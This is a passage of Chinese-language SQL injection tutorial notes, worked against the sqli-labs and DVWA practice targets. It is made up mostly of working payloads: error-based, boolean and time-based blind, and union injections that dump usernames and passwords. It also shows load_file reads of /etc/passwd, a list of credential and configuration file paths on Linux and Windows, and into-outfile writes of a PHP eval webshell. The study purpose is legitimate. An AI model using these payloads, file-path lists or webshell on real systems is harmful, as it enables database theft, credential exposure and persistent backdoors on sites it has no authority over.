3. polygon() 查询数据库用户名
and polygon((select * from(select * from(select user())a)b))

4. multipolygon() 查询数据库用户名
and multipolygon((select * from(select * from(select user())a)b))

5. linestring()
and linestring((select * from(select * from(select user())a)b))

6. multilinestring()
and multilinestring((select * from(select * from(select user())a)b))

7. exp()
and exp(~(select * from(select user())a))

8. NAME_CONST():能报错利用的信息有限：version()
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)

9. xpath函数报错注入

查询数据库版本：and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)

http://192.168.50.2:8888/Less-5/?id=1%27and%201=(select%20*%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(version(),1))x)%23# 输出：Duplicate column name '5.0.51a-3ubuntu5'

3.3 `exists ()` 布尔型注入查询方法：Less-7

源码：

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

3.3.1 查询表名

原理：

利用 and exists (select * from tablename) 函数配合 SQL 查询语句查询表名是否存在。存在返回为 True ，反之为 False

示例：

# 以闭合报错为 `'))` 为例：
')) and exists (select * from users)%23
# 若闭合报错的检测无法确认，尝试忽视闭合符号进行查询：
例：利用 exists (select * from tablename) 查询表名称，若表存在正常显示页面；反之，表不存在。
http://192.168.50.2:8888/Less-7/?id=1%27))%20and%20exists%20(select%20*%20from%20users)%23

3.3.2 查询表字段名称

原理：

利用 and exists (select para1，para2 from tablename) 查询表字段名称是否存在。

# 不存在
http://192.168.50.2:8888/Less-7/?id=1%27))%20and%20exists%20(select%20user,password%20from%20users)%23

# 存在
http://192.168.50.2:8888/Less-7/?id=1%27))%20and%20exists%20(select%20username,password%20from%20users)%23

3.3.3 猜测表数据长度

原理：

确定所要猜测数据位置，Mysql 下使用 LENGTH(字段名称) 函数与所猜测长度做 = 相等运算，长度猜测正确为真，正常打印页面。(也可以使用 >、<)

示例：

# 针对 Mysql 数据库类型，若猜测表数据长度正确，正常显示页面，反之表不存在。
# 不存在
http://192.168.50.2:8888/Less-7/?id=1%27))%20AND%20(SELECT%20LENGTH(username)%20FROM%20users%20limit%200,1)=5%23
# 存在
http://192.168.50.2:8888/Less-7/?id=1%27))%20AND%20(SELECT%20LENGTH(username)%20FROM%20users%20limit%200,1)=4%23

3.3.4 查询字段数据

3.3.4.1 逐字猜解法

原理：

mid() 函数：用于从文本字段中提取字符

SELECT MID(column_name,start[,length]) FROM table_name
# column_name：必需。要提取字符的字段
# start：必需。规定开始位置（起始值是 1）
# length；可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本。

ASCII(str) 函数：不能查询中文字符

# str 为非空字符串，返回字符串 str 的最左字符的 ASCII 码数值
# str 为空字符串，返回 0
# str 为NULL，返回 NULL
# 注：ASCII() 返回数值是从 0 到 255

查询出所有字符的 ASCII 码后进行拼接，得到完整数据

示例：

# 针对 Mysql 数据库类型，若猜测截取数据 ASCII 码数值正确，正常显示页面，反之表不存在。
http://192.168.50.2:8888/Less-7/?id=1%27))%20AND%20(SELECT%20ASCII(MID((SELECT%20`username`%20FROM%20users%20limit%200,1),1,1)))=68%23
http://192.168.50.2:8888/Less-7/?id=1%27))%20AND%20(SELECT%20ASCII(MID((SELECT%20`username`%20FROM%20users%20limit%200,1),2,1)))=117%23
http://192.168.50.2:8888/Less-7/?id=1%27))%20AND%20(SELECT%20ASCII(MID((SELECT%20`username`%20FROM%20users%20limit%200,1),3,1)))=109%23
http://192.168.50.2:8888/Less-7/?id=1%27))%20AND%20(SELECT%20ASCII(MID((SELECT%20`username`%20FROM%20users%20limit%200,1),4,1)))=98%23

3.4 延时注入(盲注)：Less-8，Less-9，Less-10

源码：

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

一般情况下，应用程序会：显示数据库内建的报错信息，报错信息提供关于系统的大量有用信息，内建的报错信息帮助开发人员发现和修复问题；但当程序员隐藏了数据库内建报错信息，替换为通用的错误提示，SQL 注入将无法依据报错信息判断注入语句的执行结果，即盲注。
延时注入属于盲注入的一种，这种注入
sleep() 函数通常与 if 条件语句一起使用，例如：select if(LENGTH(version())=6,sleep(3),0) 如果版本的长度等于 6 数据库将延时 3s，否则输出 0
延时方法注入流程：
1. 获取数据的长度
2. 查询数据，对比 ASCII 码数值

3.4.1 获取数据库名称

1. 获取当前数据库名称长度
and if(LENGTH(database())=8,sleep(3),0)
例：192.168.50.2:8888/Less-8/?id=1' and if(LENGTH(database())=8,sleep(3),0)%23
# 通过返回的时间长短确认当前数据库名长度为 4

2. 查询当前数据库名称：security
2.1 遍历 ASCII 方式
and if(ascii(substring((select database()),1,1))=115,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(substring((select%20database()),1,1))=115,sleep(3),0)%23
# 将 SUBSTRING(str,1,1) 中的 start 依次增加 1 。遍历出所有数据，组合在一起即为数据库名称。

2.2 遍历字符方式
and if(left((select database()),1)='d',sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20database()),1)=%27s%27,sleep(3),0)%23
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20database()),2)=%27se%27,sleep(3),0)%23
# 依次增加 LEFT(str,len) 函数的 len 长度与查询的库名称的字符数，遍历出所有数据。

3.4.2 获取表名称

1. 查询所有表名称的长度：注： group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA=database()))=29,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(LENGTH((select(group_concat(TABLE_NAME))%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()))=29,sleep(3),0)%23
# 长度 29

2. 查询每个表的长度，注：select 语句需要使用"()"包含起来，length 函数语法才能正确。
and if(LENGTH((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1))=6,sleep(3),0)
例：
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(LENGTH((select%20TABLE_NAME%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()%20limit%200,1))=6,sleep(3),0)%23
# limit() 行数依次增加 1，可遍历所有的表长度。
# 长度 6
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(LENGTH((select%20TABLE_NAME%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()%20limit%201,1))=8,sleep(3),0)%23
# 长度 8
# 由以上可知该数据库中共存在 4 张表，一个长度分别为 6、8、7、5，总表长度=(6+8+7+5+3[逗号分隔符]) = 29

3. 查询表的名称
3.1 遍历 ASCII 方式
# 查询所有表名称的方式
and if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=101,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(SUBSTRING((select%20group_concat(TABLE_NAME)from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()),1,1))=101,sleep(3),0)%23

# 依次查询单个表名称的方式
and if(ascii(SUBSTRING((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))=101,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(SUBSTRING((select%20TABLE_NAME%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()%20limit%200,1),1,1))=101,sleep(3),0)%23
# 注：SUBSTRING 编号从 1 开始，意味着表达式中的第一个字符为 1

3.2 遍历字符方式
# 查询所有表名称的方式
and if(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e',sleep(3),1)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),1)=%27e%27,sleep(3),1)%23

# 依次查询单个表名称的方式
and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='g',sleep(3),1)
例：
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1)=%27e%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),2)=%27em%27,sleep(3),1)%23
# 依次增加 LEFT(str,len) 函数的 len 长度，与查询的表名称的字符，遍历出所有数据。

3.4.3 查询表字段

以下实例中 TABLE_NAME 也可以为16进制数，如：将 TABLE_NAME='users' 替换为 TABLE_NAME=0x7573657273

1. 查询字段长度
1.1 查询所有字段的总长度，注： group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'))=20,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(LENGTH((select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27))=20,sleep(3),0)%23
# 长度为：20

1.2 查询每个字段的长度
 and if(LENGTH((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1))=2,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(LENGTH((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27%20limit%200,1))=2,sleep(3),0)%23
# limit() 行数依次增加 1，可遍历所有的表字段长度。
# 长度 2

2. 查询字段的名称
2.1 遍历 ASCII 方式
# 查询所有字段名称的方式
and if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1,1))=105,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(SUBSTRING((select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27),1,1))=105,sleep(3),0)%23
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(SUBSTRING((select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27),2,1))=100,sleep(3),0)%23

# 依次查询单个字段名称的方式
and if(ascii(SUBSTRING((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1,1))='105',sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(SUBSTRING((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27%20limit%200,1),1,1))=%27105%27,sleep(3),0)%23

2.2 遍历字符方式
# 查询所有字段名称的方式
and if(left((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1)='i',sleep(3),1)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20group_concat(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27),1)=%27i%27,sleep(3),1)%23
# 依次增加 LEFT(str,len) 函数的 len 长度，与查询的字段名称的字符，遍历出所有数据。

# 依次查询单个字段名称的方式
 and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1)='i',sleep(3),1)
例：
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27%20limit%200,1),1)=%27i%27,sleep(3),1)%23
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27users%27%20limit%200,1),2)=%27id%27,sleep(3),1)%23
# 依次增加 LEFT(str,len) 函数的 len 长度，与查询的字段名称的字符，遍历出所有数据。

3.4.4 查询字段数据

1. 查询字段数据长度
1.1 查询所有查询字段数据的总长度，注： group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select GROUP_CONCAT(username,0x3a,password) from users))=188,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(LENGTH((select%20GROUP_CONCAT(username,0x3a,password)%20from%20users))=188,sleep(3),0)%23
# 总数据长度为：188

1.2 查询每个字段数据的长度
and if(LENGTH((select username from users limit 0,1))=4,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(LENGTH((select%20username%20from%20users%20limit%200,1))=4,sleep(3),0)%23
# 长度 4

2. 查询字段数据的内容
2.1 遍历 ASCII 方式
# 查询所有字段数据内容的方式
and if(ascii(substring((select GROUP_CONCAT(username,0x3a,password) from users ),1,1))=68,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(substring((select%20GROUP_CONCAT(username,0x3a,password)%20from%20users%20),1,1))=68,sleep(3),0)%23

# 依次查询单个字段数据内容的方式
and if(ascii(substring((select username from users limit 0,1),1,1))=68,sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(ascii(substring((select%20username%20from%20users%20limit%200,1),1,1))=68,sleep(3),0)%23

2.2 遍历字符方式
# 查询所有字段数据内容的方式
and if(left((select concat(username,0x3a,password) from users limit 0,1),1)='D',sleep(3),0)
例：http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20concat(username,0x3a,password)%20from%20users%20limit%200,1),1)=%27D%27,sleep(3),0)%23
# 依次增加 LEFT(str,len) 函数的 len 长度，与查询的字段数据内容的字符，遍历出所有数据。

# 依次查询单个字段数据内容的方式
and if(left((select username from users limit 0,1),1)='D',sleep(3),0)
例：
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20username%20from%20users%20limit%200,1),1)=%27D%27,sleep(3),0)%23
http://192.168.50.2:8888/Less-8/?id=1%27%20and%20if(left((select%20username%20from%20users%20limit%200,1),2)=%27Du%27,sleep(3),0)%23
# 依次增加 LEFT(str,len) 函数的 len 长度，与查询的字段数据内容的字符，遍历出所有数据。

3.5 利用 `information_schema` 查询方法

3.5.1 查询数据库名

http://192.168.100.135/index.php?ID=4 and 1=2 union select 1,database(),3

3.5.2 查询表名

原理：

Mysql 里面有一个库 information_schema 里面存在很多信息，其中包括所有的库名，表名，字段名。因为可以利用这个库来获取当前库的表

# 获取当前库
http://192.168.100.135/index.php?id=1 and 1=2 union select 1,database(),3

# 由当前库获取当前库的表名
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='database_name' limit 0,1
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x数据库名的16进制数 limit 0,1
# limit 0,1 指获取第一个表名，要遍历获取其他表名需要将 0 依次递增+1，直到返回空结束。

3.5.3 查询表字段名称

原理： information_schema 数据库中 COLUMN 表 COLUMN_NAME 字段保存着所有表的字段信息。

http://192.168.100.135/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 0,1
# 或对所查询表名称做 16 进制转换
http://192.168.100.135/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1

3.5.4 查询字段数据

":" 的 16 进制为 0x3a
# 字段数据
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin limit 0,1

3.6 `group_concat()` 函数查询所有数据

此方法不是通用的，有时候会因为字段的大小问题导致查询不全。
- 解决方法：换一个字段查询，或用函数查询长度再用字符串函数截取。(后续补充)

3.6.1 查询所有的库

# 需要处理闭合时的情况
# 逐个查询
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1-- &Submit=Submit#
# 查询所有
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA-- &Submit=Submit#

# 不需要处理闭合时的情况
# 逐个查询
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
# 查询所有
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

3.6.2 查询所有的表

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database()

3.6.3 查询表中所有字段

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_NAME='admin'

3.6.4 查询所有数据

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(user,0x3a,password) FROM users-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin

3.7 `secure_file_priv` ：文件读写操作

新版浏览器可能需要查看页面源码才可以看到完整文件信息

原理：

Mysql 新特性 secure_file_priv 用来限制 LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() 传到哪个指定目录的。
secure_file_priv 参数的值不能动态更改，只能在 Mysql 的配置文件中修改，重启生效。
- NULL ：默认，表示限制 Mysql 不允许导入导出。
- /dir/ ：表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
- 空值：表示不限制 Mysql 的导入|导出
可以通过命令查看这个属性
- select @@secure_file_priv
若 Mysql + PHP 架构，PHP 配置文件 php.ini 中的 gpc 参数也会影响写入文件：
- gpc 开启：特殊字符都会被转义，如：' 转义为 \'，此时需要对输入做转义

3.7.1 LOAD_FILE() 读文件：Less-7

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件：

必须有权限读取并且文件必须完全可读
- and (select count(*) from mysql.user)>0 :
  - 如果结果返回正常,说明具有读写权限。
  - 返回错误，应该是管理员给数据库帐户降权
预读取文件必须在服务器上
必须指定文件完整的路径
预读取文件必须小于 max_allowed_packet

# linux：
# 方式一
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file('/etc/passwd')-- &Submit=Submit#
# 方式二，对 /etc/passwd 进行16进制编码
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file(0x2f6574632f706173737764)-- &Submit=Submit#
# 方式三
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1 'union select null,load_file((char(47,101,116,99,47,112,97,115,115,119,100)))-- &Submit=Submit#

# windows：
# 方式一
?id=-1 union select null,null,load_file('C:\\inetpub\\wwwroot\\lab.com\\index.php')
# 方式二
?id=-1 union select null,null,load_file('C:/inetpub/wwwroot/lab.com/index.php')
# 方式三：对 C:/inetpub/wwwroot/lab.com/index.php 进行16进制编码
?id=-1 union select null,null,load_file(0x433a2f696e65747075622f777777726f6f742f6c61622e636f6d2f696e6465782e706870)

3.7.1.1 系统常用目录文件

转载：MySQL注入load_file常用路径 - lcamry - 博客园 (cnblogs.com)

Linux 下
- load_file(char(47)) #可以列出 FreeBSD, Sunos 系统根目录

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

Windows 下

c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

3.7.2 `LOAD DATA INFILE` 导入文件内容到数据库

LOAD DATA INFILE 语句用于从文本文件中读取行，并装入数据库一个表中。

利用方式：

注入过程中，当你拥有数据库的权限时，可以将关键系统文件(配置文件，密码文件等)利用 load data infile 导入到数据库中。

LOAD DATA INFILE '/tmp/text.txt' INTO TABLE test.tb1 FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' ESCAPED BY '#' LINES TERMINATED BY '\n'

3.7.3 `into outfile/dumpfile` 写入导出文件

into outfile ：将查询数据输出保存到一个文件中，数据之前存在 tab 空格。
into dumpfile ：将查询数据输出保存到一个文件中，没有空格。

// 写入webshell后门文件
')) union select 1,2,'<?php @eval($_POST["123"]);?>' into outfile "//var//lib//mysql//shell.php"%23
http://192.168.50.2:8888/Less-7/?id=1%27))%20union%20select%201,2,%27%3C?php%20@eval($_POST[%22123%22]);?%3E%27%20into%20outfile%20%22//var//lib//mysql//shell.php%22%23
// 虽然 sql 显示出错，但依然写入成功

// 导出数据
http://192.168.50.2:8888/Less-47/?sort=1%27into%20outfile%20%27//var//lib//mysql//test.txt%27%23
root@ee02d96f3a4c:/var/www/html/Less-46# cat /var/lib/mysql/test.txt 
1       Dumb    Dumb
2       Angelina        I-kill-you
3       Dummy   p@ssword
4       secure  crappy
5       stupid  stupidity
6       superman        genious
7       batman  mob!le
8       admin   admin
9       admin1  admin1
10      admin2  admin2
11      admin3  admin3
12      dhakkan dumbo
14      admin4  admin4

// 利用lines terminated by上传WebShell
Into outtfile lines terminated by 0x(网马进行 16 进制转换)
http://192.168.50.2:8888/Less-47/?sort=1%27into%20outfile%20%27//var//lib//mysql//test.php%27%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b203f3e%23
root@ee02d96f3a4c:/var/www/html/Less-46# cat /var/lib/mysql/test.php
1       Dumb    Dumb<?php phpinfo(); ?>2        Angelina        I-kill-you<?php phpinfo(); ?>3  Dummy   p@ssword<?php phpinfo(); ?>4    secure  crappy<?php phpinfo(); ?>5      stupid  stupidity<?php phpinfo(); ?>6   superman        genious<?php phpinfo(); ?>7      batman  mob!le<?php phpinfo(); ?>8      admin   admin<?php phpinfo(); ?>9       admin1  admin1<?php phpinfo(); ?>10     admin2  admin2<?php phpinfo(); ?>11     admin3  admin3<?php phpinfo(); ?>12     dhakkan  dumbo<?php phpinfo(); ?>14      admin4  admin4<?php phpinfo(); ?>

3.7.4 报错注入读写文件

新版浏览器可能需要查看页面源码才可以看到完整文件信息

3.7.4.1 `extractvalue()` 读取文件

原理：

extractvalue(目标xml文档，xml路径)
- 正常查询：第二个参数的位置格式为 /xxx/.../xx ,即使查询不到也不会报错
- 第二个参数,如果写入其他格式，就会报错，并且会返回写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。

1. 读取文件
and (extractvalue(1,concat(0x7e,(select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),0x7e)))
例：http://lab.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,(select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),0x7e)))

2. 解决长度限制问题：
and (extractvalue(1,concat(0x7e,SUBSTRING((select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),1,32),0x7e)))
# 将 SUBSTRING(str,1,32) 中的 start 与 end 同时增加。
例：http://lab.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,SUBSTRING((select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),1,32),0x7e)))

3.7.4.2 `exp()` 读取文件

and (exp(~(select * from (select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php'))a)))
# exp() 没有长度限制
例：http://lab.com/mysqlinj.php?id=1 and (exp(~(select * from (select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php'))a)))

3.7.4.3 `exp()` 写文件

and exp(~(select * from (select 'SQL injection')a)) into outfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'
例：http://lab.com/mysqlinj.php?id=-1 and exp(~(select * from (select 'SQL injection')a)) into outfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'
# 可以创建文件，但是无法在文件中写入数据，原因是 exp() 只能写入 0 或 1 到文件里面，错误写入的是 0；需要配合其他技术使用，如上传文件漏洞

3.8 其他关卡注入

3.8.1 Less-11

// 万能密码：
admin'#

// 利用union查询数据库名称
' union select 1,database()#

// 遍历数据库名称
' union select 1,group_concat(schema_name) from information_schema.schemata#

// 遍历表
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

// 遍历表字段
' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

// 查询表数据
' union select 1,concat(username,0x3a,password) from users limit 0,1#

3.8.2 Union注入：Less-12

") union select database(),2#
// 其他同Less-11

3.8.3 报错注入：Less-13,14

// 报错注入
') and info()#

') and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
// 其他同Less-2

Less-14
" and info()#

3.8.4 盲注：Less-15,16

' or If(ascii(substr(database(),1,1))=115,1,sleep(5))#
// 正确的时候返回，不正确的时候延时5s

Less-16
") or If(ascii(substr(database(),1,1))=115,1,sleep(5))#

4 Mysql更新注入

对数据更新常用的就是增删改：

// INSERT
insert into stuffs (name,age,register_date) values('fcarey', 3, '2020-10-10');

// DELETE
delete from stuffs where id > 7;

// UPDATE
update stuffs set age=22, name='fcarey' where id > 4;

4.1 报错更新注入：Less-17

4.1.1 查询数据库名

查询数据库名：and info()

// 使用 `info()`错误的函数将会得到当前数据库名：security

username: admin
password: ' and info()#

4.1.2 利用 floor 报错(通用)

源码：

$row1 = $row['username'];  	
$passwd=$_POST['passwd'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

POST /Less-17/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 295
Origin: http://192.168.50.2:8888
Connection: close
Referer: http://192.168.50.2:8888/Less-17/
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

uname=admin&passwd=%27+and+%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x7e%2Cversion%28%29%2C0x7e%29%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29%23&submit=Submit

POST /Less-17/ HTTP/1.1
Host: 192.168.50.2:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
